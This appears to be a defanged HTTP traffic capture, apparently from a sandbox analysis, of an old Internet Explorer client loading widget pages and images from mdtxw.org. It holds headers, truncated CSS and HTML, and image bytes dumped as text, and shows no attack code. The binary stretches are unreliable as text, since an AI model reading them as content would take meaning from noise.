Content-Type: text/html

Content-Length: 12927

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 11:01:16 GMT

Accept-Ranges: bytes

ETag: "0263cdbd057cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: MISS from chn-xa-th-sb1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml"><head><meta http-equiv=
"Content-Type" content="text/html; charset=GBK">..<title>mini
_509_366</title>..<base href="." target="_blank" />..    .
.<style type="text/css">../*....*/..html,..body{ overflow:hidden
; }..body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,form,input,textarea,
p,th,td,button { padding:0; margin:0;}..input,label,select,option,text
area,button { font:12px/18px Simsun, Helvetica, Arial, sans-serif; }..
table { border-collapse:collapse; border-spacing:0; }..ul { list-style
:none; }..img { border:none; }..button { cursor:pointer; }..input,text
area { font-size:12px; }..body { font:12px/18px Simsun, Helvetica, Ari
al, sans-serif; text-align:center;}..a { text-decoration:none; color:#
333333; }..a:hover { text-decoration:underline; color:#BD0A01; }..::se
lection {background-color:#669800;color:#FFFFFF;}..::-moz-selection {b
ackground-color:#669800;color:#FFFFFF;}...list_pic li.noMargin{margin:
0}../*global*/...more,...home,...at_me { display:inline-block; }...wb_
ico { background-position:right 3px; padding-right:10px; }...more_box{
 margin-left:4px; position:relative;}...more { width:6px; height:5px; 
position:absolute; left:0;_left:4px; top:3px; background-position:-14p
x -40px; }...vico { background-position:0 -114px; padding-left:23px; }
...vico_right{ padding-right:20px; background-position:right -496p
<<< skipped >>>

GET /miniindex/meinv.htm?time=undefined HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:02 GMT

Content-Type: text/html

Content-Length: 6471

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 11:01:42 GMT

Accept-Ranges: bytes

ETag: "06fbbead057cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: MISS from chn-xa-th-sb1
<!DOCTYPE html PUBliC "-//W3C//DTD Xhtml 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml">..<head>..<meta content
="IE=10.000" http-equiv="X-Ua-Compatible"> ..<meta http-equiv="C
ontent-Type" content="text/html; charset=gb2312">.. ..<meta name
="robots" content="noindex, nofollow,nosnippet,noarchive,noodp">..&
lt;title>......</title>..<base target=_blank>..<link
 href="inc/style.css" rel="stylesheet" type="text/css">..<style 
type="text/css">...bj {background-color: #FFFFFF;float: left;height
: 336px;width: 509px;}...bj .top {float: left;height: 207px;margin-bot
tom: 3px;width: 509px;}...bj .top .top_left {float: left;height: 206px
;margin-right: 4px;width: 274px;}...txt1{ background: #000;line-height
: 30px;height: 30px;overflow: hidden;text-align: center;display: block
;color: #fff;margin: -29px 0 0 0;width: 231px;position: relative;opaci
ty: 0.7;filter: alpha(opacity=60);cursor: pointer;float: left;font-siz
e: 14px;}...bj .top .top_right {float: right;height: 207px;width: 231p
x;}...bj .top .top_right .right_01 {height: 95px;margin-bottom: 4px;}.
..txt2{ background: #000;line-height: 22px;height: 22px;overflow: hidd
en;text-align: center;display: block;color: #fff;margin: -21px 0 0 0;w
idth: 231px;position: relative;opacity: 0.7;filter: alpha(opacity=60);
cursor: pointer;float: left;font-size: 12px;}...bj .up {float: left;he
ight: 126px;width: 509px;}..ul {margin: 0;padding: 0;}...bj .up li
<<< skipped >>>

GET /miniindex/xinwen.htm?time=undefined HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:03 GMT

Content-Type: text/html

Content-Length: 7368

Connection: keep-alive

Last-Modified: Wed, 16 Apr 2014 14:44:27 GMT

Accept-Ranges: bytes

ETag: "5947395e8259cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: MISS from chn-xa-th-sb1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<HTML xm
lns="hXXp://VVV.w3.org/1999/xhtml"><HEAD><META content="IE
=10.000" http-equiv="X-UA-Compatible">. ..<meta http-equiv="Cont
ent-Type" content="text/html; charset=gb2312">.. ..<meta name="r
obots" content="noindex, nofollow,nosnippet,noarchive,noodp">..<
title>......</title>..<link href="inc/style.css" rel="styl
esheet" type="text/css">.. ..<style type="text/css">..       
     * { padding:0px;..                margin:0px;..            }..   
         .roll-news {..                width:220px;..                h
eight:150px;..                border:solid 1px #c1c1c1;..             
   overflow:hidden;..            }..            .roll-news-index-hover
 {..                background-color:white !important;..            }.
.            .roll-news-image a img {..                width:220px;.. 
               height:150px;..            }..            .roll-news-in
dex {..                position:relative;..                top:-22px;.
.                float:right;..                width: 60px;..         
   }..            .roll-news-index li {..                list-style:no
ne;..                float:left;..                font-size:12px;..   
             font-weight:600;..                width:8px;..           
     height:16px;..                line-height:16px;..                
cursor:pointer;..                margin:0 3px 0 0;..              
<<< skipped >>>

GET /miniindex/lieqi_509_366.htm?time=undefined HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:04 GMT

Content-Type: text/html

Content-Length: 13149

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 11:01:34 GMT

Accept-Ranges: bytes

ETag: "0bbf6e5d057cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: MISS from chn-xa-th-sb1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml"><head><meta http-equiv=
"Content-Type" content="text/html; charset=GBK">..<title>mini
_509_366</title>..<base href="." target="_blank" />..    .
.<style type="text/css">../*....*/..html,..body{ overflow:hidden
; }..body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,form,input,textarea,
p,th,td,button { padding:0; margin:0;}..input,label,select,option,text
area,button { font:12px/18px Simsun, Helvetica, Arial, sans-serif; }..
table { border-collapse:collapse; border-spacing:0; }..ul { list-style
:none; }..img { border:none; }..button { cursor:pointer; }..input,text
area { font-size:12px; }..body { font:12px/18px Simsun, Helvetica, Ari
al, sans-serif; text-align:center;}..a { text-decoration:none; color:#
333333; }..a:hover { text-decoration:underline; color:#BD0A01; }..::se
lection {background-color:#669800;color:#FFFFFF;}..::-moz-selection {b
ackground-color:#669800;color:#FFFFFF;}...list_pic li.noMargin{margin:
0}../*global*/...more,...home,...at_me { display:inline-block; }...wb_
ico { background-position:right 3px; padding-right:10px; }...more_box{
 margin-left:4px; position:relative;}...more { width:6px; height:5px; 
position:absolute; left:0;_left:4px; top:3px; background-position:-14p
x -40px; }...vico { background-position:0 -114px; padding-left:23px; }
...vico_right{ padding-right:20px; background-position:right -496p
<<< skipped >>>

GET /miniindex/meinv.htm?time=undefined HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:05 GMT

Content-Type: text/html

Content-Length: 6471

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 11:01:42 GMT

Accept-Ranges: bytes

ETag: "06fbbead057cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: MISS from chn-xa-th-sb1
<!DOCTYPE html PUBliC "-//W3C//DTD Xhtml 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml">..<head>..<meta content
="IE=10.000" http-equiv="X-Ua-Compatible"> ..<meta http-equiv="C
ontent-Type" content="text/html; charset=gb2312">.. ..<meta name
="robots" content="noindex, nofollow,nosnippet,noarchive,noodp">..&
lt;title>......</title>..<base target=_blank>..<link
 href="inc/style.css" rel="stylesheet" type="text/css">..<style 
type="text/css">...bj {background-color: #FFFFFF;float: left;height
: 336px;width: 509px;}...bj .top {float: left;height: 207px;margin-bot
tom: 3px;width: 509px;}...bj .top .top_left {float: left;height: 206px
;margin-right: 4px;width: 274px;}...txt1{ background: #000;line-height
: 30px;height: 30px;overflow: hidden;text-align: center;display: block
;color: #fff;margin: -29px 0 0 0;width: 231px;position: relative;opaci
ty: 0.7;filter: alpha(opacity=60);cursor: pointer;float: left;font-siz
e: 14px;}...bj .top .top_right {float: right;height: 207px;width: 231p
x;}...bj .top .top_right .right_01 {height: 95px;margin-bottom: 4px;}.
..txt2{ background: #000;line-height: 22px;height: 22px;overflow: hidd
en;text-align: center;display: block;color: #fff;margin: -21px 0 0 0;w
idth: 231px;position: relative;opacity: 0.7;filter: alpha(opacity=60);
cursor: pointer;float: left;font-size: 12px;}...bj .up {float: left;he
ight: 126px;width: 509px;}..ul {margin: 0;padding: 0;}...bj .up li
<<< skipped >>>

GET /miniindex/inc/normal_bg.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:05 GMT

Content-Type: image/png

Content-Length: 41703

Connection: keep-alive

Last-Modified: Thu, 10 Apr 2014 17:05:46 GMT

ETag: "0511e1ddf54cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:05 GMT

Accept-Ranges: bytes
.PNG........IHDR.......!.......c.....sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.07/11/13
........prVWx......0...."k..a#...8.v..0...b!xkb8......I...I_..;\.uH.4.
.......1.]........,S..v.._.r...us...."MU.v.....j..j...Z..S...r..}.....
.|K...........w{\..p..........&b.....HmkBF............................
............................................).3...:.mkTSx..}Kl.Wvv.lY"
EQ..8..a......z. ....l.v.lu7%J1.TWwI.Q.L..(...#.......3..e.U&....>@
. H..Yg.eV3...s....u.Iv.I.h.............O........r.t......6|M.....2...
...{..3V.G.y..t..Z....;c.p.k=g\..now.....C8.......z.|4V....Me......X.k
e_....-.|.,.I.o..G.PYQ.d.Ke.v.;.8..6.{....U.zss.l..-...i.R..5....k..6.
W.M.O.il.....w.........f...u...[...}z.~..d...6....m...6w4.NsG..4w.lZd.
N..6.4n.l....*...Y6TF....iW.....Q.......1....6...B...a":Y.......Y%.~D0
......3..M....8t..>x.&...'jO......1. B.3.1.".S.L..I.2.^.1.j.G....`.
^F.....`x.a.'c..D.N...Qh.2E..R.1(....J.J...S.S.......E :.a.'.......S..
...i.9..(.ieH1.0Hm).z...t[>v...k.s.].*C.L..R4..<.dQ..mH..A..Y.}.
.2.y.S.g@~.;u... |.i....pL..2.....Z.D......D.J.4.8c..sZ.g.....F...7.E.
.H.<..)x.J..1.J..zj....sJ...S....2..A...AqD.."..I5.rn.....9..j.Y.. 
@.4...w.@[email protected]...}.,..6.
...c.;r..Fuj.......Y;@.^..G.v...".-/a.'..>l.@.,1V....0.T...g..f$...
..'.B.'....LQ.<....m..C...z..!.....A..1f .c..^....-.\...Z.8z..k..I.
...3d....>h...h...q....S....-..H....$7l...$.az$....j.>...P...XR.
....P..]4.z......,~....'........<}.M....R.8<f...........0..2
<<< skipped >>>

GET /miniindex/images/Untitled-3.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:06 GMT

Content-Type: image/jpeg

Content-Length: 31591

Connection: keep-alive

Last-Modified: Sun, 13 Apr 2014 02:27:26 GMT

ETag: "0bbb5e8bf56cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:06 GMT

Accept-Ranges: bytes
......JFIF.....H.H.....ZExif..MM.*.............................b......
.....j.(...........1.........r.2...........i.................H.......H
....Adobe Photoshop CS Windows.2014:04:13 10:27:24....................
.....................s...........................................&.(..
...............................$.......H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................p...."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'[email protected]@..... [b..*.X$d.9......U.f.
@.o...%.*e9.QX.U.....K.....B>..-... .|T....|.b.h.........Bh.#.....-
..rp.RZ..eZ..i..5>.....M...5Y.O#..h.b.............R...).G-.W.P6.Ic^
..cG%.....*..g..v3X.ki9...].....H.a=......Os.l3'e.i.m...........(.....
}.;?...O........]^.......`q5.l.5m6..w.?5v~..[.........{...>........
....X....Sus.`..o..E.....El.F......#>...4..t .....:@..._^[email protected].
v....B...)..,.5a%n.s.......B.....:.{.........[...O>yR.....p.J..f...
....?h...uF..../...j....W:?jPO..'.eG.x..{.N.....].h.....U....gw...*...
.C.B...)....z.......`.l..t....C..fu..0.OM..X.... g.K...R.;>.....U&.
;]c.....,.s......qjy........O.....P3.....i..u.....{...............
<<< skipped >>>

GET /miniindex/inc/min.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:06 GMT

Content-Type: image/png

Content-Length: 1080

Connection: keep-alive

Last-Modified: Thu, 10 Apr 2014 17:05:46 GMT

ETag: "0511e1ddf54cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:06 GMT

Accept-Ranges: bytes
.PNG........IHDR...l.........u.......tEXtSoftware.Adobe ImageReadyq.e&
lt;....IDATx....k.Q...kfwf...F.B........ ..6.Z(.[..../..F.,l,E.". "./P
.....M.....}x...........i...9.|.~w.../..C.>FBIdq.....O?L.;...P.*..p
...WS.6._..^d..}.._..............D.. .*H.>.r)V.*k...k.kc.S........_
D.-..BJ.$...G...Y.\......lX.1D.......Z0H.\..*L..59B...... ...:CV0$a>
;...e....V3Q.g.`].$5.P........(.`....I...JlX:..7.U.#.X.....>K'..!..
Rj.!.&.k. ../#p.VY....-.tHLT..3#Q..D.GD...IL2;.q%-W$uK...D.> ....G.
...q....nY..QNK^j...Y.......b.f..0*.|.n.<.t|zP.c.g.0.K.. .R........
.=>... .../....8.t...H.).4.I. L.$.90s.3....S_:... ..<Hak5$yqz0.5
K.M....q4.g..........).d7..w......q.. h.M...*N...f...b..Gn=..<.}...
..&..~...B..~...y.D8.U2]/8.`%.E.F..l....~. .G..(l...L.JU.5.,=N.%..".2.
<[email protected].....=....C.h..~.z..qfU..*....#......o..8..a..<.....
*.b.0'Ga.........G..].jB.3}p1_i...6..J..)a......9Zf.k.b.|..6.J...a....
..^.G......j.u>........Q.5.u.....6....0%....Y..V..Q..K.RGj....a..&g
t;.../.....m.<..E..b.....d.{...s.L. -...$..6`?......<.[pKN.Rj..X
X4.... ;.N.'7..a.$6X3{..(.`z............[.?g.ab..z..U.....'d...B.;....
IEND.B`.....


GET /miniindex/inc/close.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:07 GMT

Content-Type: image/png

Content-Length: 2526

Connection: keep-alive

Last-Modified: Thu, 10 Apr 2014 17:05:46 GMT

ETag: "0511e1ddf54cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:07 GMT

Accept-Ranges: bytes
.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e&
lt;....IDATx..Z{..U......dw.v....H*...H.....L..i.."j...5.bL..b..Y.5.(.
.FC.DH..X(...#.XK....[[email protected]..}.<....f.....|...3....|.........
[email protected]._'.K?...(..J.3.6..Mw.......S.i.EC!|.q..Q,.N.....U.(....
.....a.w......o^2..w..t]....d......t....(.m.F...fwN.W.........N..#.a..
.|.i 5..4..H.'.C..BJ.......)(.8.......,RJ....T.].X.......V,GRz........
.0D./..).....e.P,.._A.'][email protected]......$.W.b.1M....g.....
t....T.*.#.'%Y?....P.b..y..,..z..4...r..-}..%D..M.h../Z..S.......5\.,.
wq..3.....U....D.2..-....' .e[mm..,U.(.2.8..r., .P.).......C@ ..qBtob=
..|oU......5._..6.J&.hD..R........_.6...-.Z..$....s..)..v..Yh.........
....p..[..c.>...Tp.w.9...?p...}.......}..`..!..=.b...m...3$.}......
.`M....I(e......,[email protected]\........-_.~$Z..?....~8Q6..MW.....f*.0D
@ ......p.U..Zh..Dd{e..a(...._...j?....D&.....I-:.M.k......r%.....D..m
..7Os.........H........*.AH....1.k..8n..m.....I.........wg......S.Jk.r
.........Z...A.m......q...F...wq.H..u......}.}4.F..#.P.e..@..!....h.Q.
.}r.&V].}h.r8.....~...G$ b..P......z{..'.......{..Z. 62.W.6.w...r-...,
.t.j3..#`....X.'..L.....33..`...q..p....\K>....1..,*......!|.7.Q-`.
T.........|..#..U.p.>.D.C..ZFmQ...\.fTJ.N....q.../.AS.......}..y.R.
.......y...`c..#....Y.$...A....y..L....].x.;..X4.x$I.IX..._...q.w..0O.
.N...MB.y/.!Z.,......U._...e.........TO..._.w{../...= Q%......v.._....
TO...W..S.O.Hv..G..Z..x.~t...Be.....K....'.........N.......l..;.T..O..
.....w.n...a....j>....%......u..L.......M...}.#..._.G....b8....
<<< skipped >>>

GET /miniindex/images/b13.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:07 GMT

Content-Type: image/jpeg

Content-Length: 42296

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 07:47:34 GMT

ETag: "0affbcbb557cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:07 GMT

Accept-Ranges: bytes
......JFIF.....H.H.....[Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i.................H.......H
....Adobe Photoshop CS Windows.2014:04:14 15:47:34....................
.................................................................&.(..
...............................%.......H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................f...."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'7GWgw.................?..8........~.........A...^ ..6.i...
.....gf.m#X......:.`........5..........*.[cg71.\]..'.sO.....:m.H....{.
r....Ob.H....e...,x.@.%.......[..-=.<=...2A...2}...=...Z.....kI.?.P
{.s..eOi<..IL)..Z...?...mi..i.((..E.....{QI..4.~W...9......l..\#...
e....m.y;t". ecn.....u..W...cfD.l..p%X....Yfb,..v5..<9..:Dr%B...{.i
[email protected]#S.......`...G?I....P...P).#!d0...F.:W...m.6......I.V.
...40...Z.. ...O.o...........%.......TI.*.v.....Y...%...5..}?Y....h,.o
;.....)n.5...t2u.5....-..k@-....$.F.v..J....'Yk.O..]*.-.X]..4.......a*
....E... .....S~g...,.D4=WF$..uL,.[n.......i"=.\._N.O.p....H.O.......u
..T-...*....$......*hv%./..;.^....A.??.. ._.#h.......>......U.}
<<< skipped >>>

GET /miniindex/images/b15.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:08 GMT

Content-Type: image/jpeg

Content-Length: 38304

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 07:58:46 GMT

ETag: "0bf865cb757cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:08 GMT

Accept-Ranges: bytes
......JFIF.....H.H.....>Exif..MM.*.............................b...
........j.(...........1.........r.2...........i.................H.....
..H....Adobe Photoshop CS Windows.2014:04:14 15:58:46.................
....................................................................&.
(.........................................H.......H..........JFIF.....
H.H......Adobe_CM......Adobe.d........................................
......................................................................
...................................f...."................?............
..............................................................3......!
.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'..
.............Vfv........7GWgw........................5.....!1..AQaq"..
2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F............
...Vfv........'7GWgw.................?....Ny)*..Jb..RS..T..IH.....%...
......=l..i<.......{..?z......w..2...{}...........'.S..-..e_b6XH!..
....WzV{..jt...............?Q.6N.rn........W..?X...t....)m7. .Iq.....7
.s.....h..S,"fk.]].#E...$...X.).r....1R*%%1L.S$.....d.UY.....6..A.i..m
{....z.:..Y....l,.`k.C...3.Qg.........oV...g...........MZ..{.a........
.Z....... y..fQc3k.%......67_.....clg. A.~...A.(b2<W.d..."=.bTJ)...
?r....?qR.<...K.........4.k...]7.:.v.......nf.=..]F{.02K.`T.dx4.n..
....".w..GVD...h.D...2..3..>;/...."@.........)~=N...{@.{...=..w.!.7
..Y.....vz.eU....V...s_.s....N{)....S0.W;.>..;~....v.&V...fc./g.k`.
f..q.z..'.*x.~.j1.YHt.....ng `....D.K^/SQ1R*%\s.*%H..T..).b....$..
<<< skipped >>>

GET /miniindex/images/b16.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:09 GMT

Content-Type: image/jpeg

Content-Length: 43598

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 08:01:35 GMT

ETag: "801942c1b757cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:09 GMT

Accept-Ranges: bytes
......JFIF.....H.H......Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i.................H.......H
....Adobe Photoshop CS Windows.2014:04:14 16:01:34....................
.................................................................&.(..
.......................................H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................f...."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'7GWgw.................?..{..h....iku..C.v..8D.. 1...5'r.5.
.}....)T.....sv...'E'....'D.T....?w..j.....8l....]...c...G........C.Ce
.DhH.0....L.N.......;..H........F..s..v...A...._...ICu.v.vC.F0>.;..
.......;.c6.....t~.^NCr^.|:X.k.....&.R..k=/O....'. .~...|..l..9..-.#A.
.O...5ut............c.` ...c.^..&(e=H.."46G...]g.=.8Y./...V..z.6~.. ..
1.G._N.z....U..U.`...O.f.o{e..[K..............]n}..u..^..m..-l.5..t?..
.k.. w....."..-.....:.....^........t...........Sv......5._c.!.....s. .
Kk.m..kO..v.{N.b...}......A.......I..1.h..!...&O.W..._........C..T....
.....gJ..X.."!:........{........?.]..;.V.'B..T9.X.{....".[..."..3}.]. 
Y.....g.*9..G<}....P.uE.7*.....q.....?h.......O'.[t<.....V..
<<< skipped >>>

GET /miniindex/images/b18.JPG HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:09 GMT

Content-Type: image/jpeg

Content-Length: 23977

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 08:14:46 GMT

ETag: "01fbb98b957cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:09 GMT

Accept-Ranges: bytes
......JFIF.....H.H......Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i.................H.......H
....Adobe Photoshop CS Windows.2014:04:14 16:14:46....................
.........l...........A...........................................&.(..
.......................................H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................A.l.."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
